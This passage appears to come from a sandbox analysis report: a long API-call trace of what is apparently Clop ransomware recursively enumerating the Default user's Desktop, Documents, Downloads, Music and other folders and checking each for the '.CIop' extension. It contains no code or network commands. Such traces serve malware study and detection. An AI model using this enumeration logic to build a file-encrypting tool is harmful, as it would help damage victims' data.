lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.548] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0138.548] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0138.548] lstrlenW (lpString="Desktop") returned 7 [0138.548] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0138.548] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0138.548] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0138.548] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.548] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0138.548] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0138.548] lstrlenW (lpString="Desktop") returned 7 [0138.548] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.548] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.548] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0138.548] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0138.548] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.548] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.548] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0138.548] SetErrorMode (uMode=0x1) returned 0x1 [0138.548] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0138.548] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0138.548] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Documents\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0138.549] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0138.549] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.549] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0138.549] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0138.550] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0138.550] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0138.550] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.551] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0138.551] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0138.551] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0138.551] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0138.551] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0138.551] SetErrorMode (uMode=0x1) returned 0x1 [0138.551] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0138.551] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0138.551] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0138.551] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0138.551] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.551] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0138.551] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0138.551] lstrlenW (lpString=".CIop") returned 5 [0138.551] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.551] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.551] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.551] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0138.551] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0138.551] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.551] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0138.552] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0138.552] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0138.552] SetErrorMode (uMode=0x1) returned 0x1 [0138.552] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0138.552] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0138.552] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.552] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0138.552] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0138.552] lstrlenW (lpString=".CIop") returned 5 [0138.552] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.552] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.552] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.552] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0138.552] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.552] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0138.552] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0138.552] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0138.552] SetErrorMode (uMode=0x1) returned 0x1 [0138.552] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0138.552] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0138.552] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0138.552] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.552] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0138.552] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0138.553] lstrlenW (lpString=".CIop") returned 5 [0138.553] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.553] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.553] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.553] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0138.553] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0138.553] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.553] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0138.553] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0138.553] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.553] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0138.554] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0138.554] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.554] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.554] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0138.554] SetErrorMode (uMode=0x1) returned 0x1 [0138.554] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0138.554] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0138.554] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Downloads\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0138.554] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0138.554] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.554] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0138.554] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0138.554] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0138.554] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0138.554] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.554] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0138.554] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0138.554] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.554] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0138.554] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0138.554] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.555] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.555] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0138.555] SetErrorMode (uMode=0x1) returned 0x1 [0138.555] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0138.555] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0138.555] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Favorites\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0138.555] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0138.555] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.555] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0138.555] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0138.555] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0138.555] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0138.555] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.555] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0138.555] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0138.555] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.555] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0138.555] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0138.555] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.555] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.555] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0138.555] SetErrorMode (uMode=0x1) returned 0x1 [0138.556] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0138.556] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0138.556] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Links\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0138.556] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0138.556] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.556] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0138.556] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0138.556] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0138.556] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0138.556] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.556] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0138.556] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0138.556] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.556] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0138.556] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0138.556] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.556] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.556] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0138.556] SetErrorMode (uMode=0x1) returned 0x1 [0138.556] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0138.556] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0138.557] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Local Settings\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0138.557] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0138.557] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.557] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0138.557] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0138.557] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0138.557] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0138.557] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.557] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0138.557] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0138.557] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.557] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.557] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0138.557] SetErrorMode (uMode=0x1) returned 0x1 [0138.557] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0138.557] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0138.557] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Music\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0138.557] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0138.557] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.557] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0138.557] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0138.557] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0138.557] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0138.557] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.558] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0138.558] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0138.558] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.558] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0138.558] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0138.558] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.558] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.558] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0138.558] SetErrorMode (uMode=0x1) returned 0x1 [0138.558] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0138.558] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0138.558] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\My Documents\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0138.558] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0138.558] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.558] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0138.558] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0138.558] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0138.558] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0138.558] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.558] PathFindFileNameW 